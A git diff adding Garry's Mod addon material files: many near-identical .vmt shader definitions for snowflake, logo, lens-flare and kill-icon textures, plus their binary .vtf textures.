a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vtf new file mode 100644 index 0000000..4b9dc4c Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt new file mode 100644 index 0000000..ac78e5e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/12" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vtf new file mode 100644 index 0000000..02252d3 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vmt new file mode 100644 index 0000000..af2541d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/13" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vtf new file mode 100644 index 0000000..aa643cd Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt new file mode 100644 index 0000000..b8e5f31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/14" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vtf new file mode 100644 index 0000000..897ee9c Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt new file mode 100644 index 0000000..6f525fa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/15" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vtf new file mode 100644 index 0000000..5b8076a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vmt new file mode 100644 index 0000000..81c02e3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/16" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vtf new file mode 100644 index 0000000..84e2690 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt new file mode 100644 index 0000000..856e8b2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/17" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vtf new file mode 100644 index 0000000..8a10288 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vmt new file mode 100644 index 0000000..8aa6bf6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/18" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vtf new file mode 100644 index 0000000..93c0263 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt new file mode 100644 index 0000000..c6f00f5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/19" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vtf new file mode 100644 index 0000000..390853b Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vmt new file mode 100644 index 0000000..f22a63f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/2" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vtf new file mode 100644 index 0000000..92e36d2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt new file mode 100644 index 0000000..b7abb98 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/20" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vtf new file mode 100644 index 0000000..356cefa Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vmt new file mode 100644 index 0000000..2cd68b4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/21" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vtf new file mode 100644 index 0000000..bf959c2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vmt new file mode 100644 index 0000000..6998caf --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/22" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vtf new file mode 100644 index 0000000..4a1d9ac Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vmt new file mode 100644 index 0000000..4f0ccf1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/23" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vtf new file mode 100644 index 0000000..0e3c4c9 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt new file mode 100644 index 0000000..031714e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/24" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vtf new file mode 100644 index 0000000..ed6ebb1 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt new file mode 100644 index 0000000..cf9076a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/3" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vtf new file mode 100644 index 0000000..4e48ec9 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt new file mode 100644 index 0000000..6bae72d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/4" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vtf new file mode 100644 index 0000000..63c43b5 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt new file mode 100644 index 0000000..6e28b0c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/5" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vtf new file mode 100644 index 0000000..98a63e5 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt new file mode 100644 index 0000000..9330797 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/6" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vtf new file mode 100644 index 0000000..a0dec75 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt new file mode 100644 index 0000000..8c099f0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/7" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vtf new file mode 100644 index 0000000..8b1f5b9 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt new file mode 100644 index 0000000..4600bdd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/8" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vtf new file mode 100644 index 0000000..ceffbc2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt new file mode 100644 index 0000000..77b757a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/9" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vtf new file mode 100644 index 0000000..76a8cdc Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt new file mode 100644 index 0000000..8530faf --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "$basetexture" "console/gmod_logo" + "$vertexcolor" 1 + "$vertexalpha" 1 + "$ignorez" 1 + "$no_fullbright" "1" + "$nolod" "1" + "$additive" 0 + "$nocull" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vtf new file mode 100644 index 0000000..c922131 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt new file mode 100644 index 0000000..4bb885d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "console/logo_text" + "$vertexcolor" 1 + "$vertexalpha" 1 + "$no_fullbright" 1 + "$ignorez" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vtf new file mode 100644 index 0000000..e6d7fed Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt new file mode 100644 index 0000000..bb19b3d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + $basetexture "effects/lensflare/circle" + $additive 1 + $vertexcolor 1 + $vertexalpha 1 + $ignorez 1 + $nocull 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vtf new file mode 100644 index 0000000..e9cf2c9 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vmt new file mode 100644 index 0000000..cc5f837 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + $basetexture "effects/lensflare/ring" + $additive 1 + $vertexcolor 1 + $vertexalpha 1 + $ignorez 1 + $nocull 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vtf new file mode 100644 index 0000000..19a2500 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vmt new file mode 100644 index 0000000..084cb6e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + $basetexture "effects/lensflare/smoothring" + $additive 1 + $vertexcolor 1 + $vertexalpha 1 + $ignorez 1 + $nocull 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vtf new file mode 100644 index 0000000..18ac3df Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt new file mode 100644 index 0000000..5ce61ad --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/combine_mine_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git 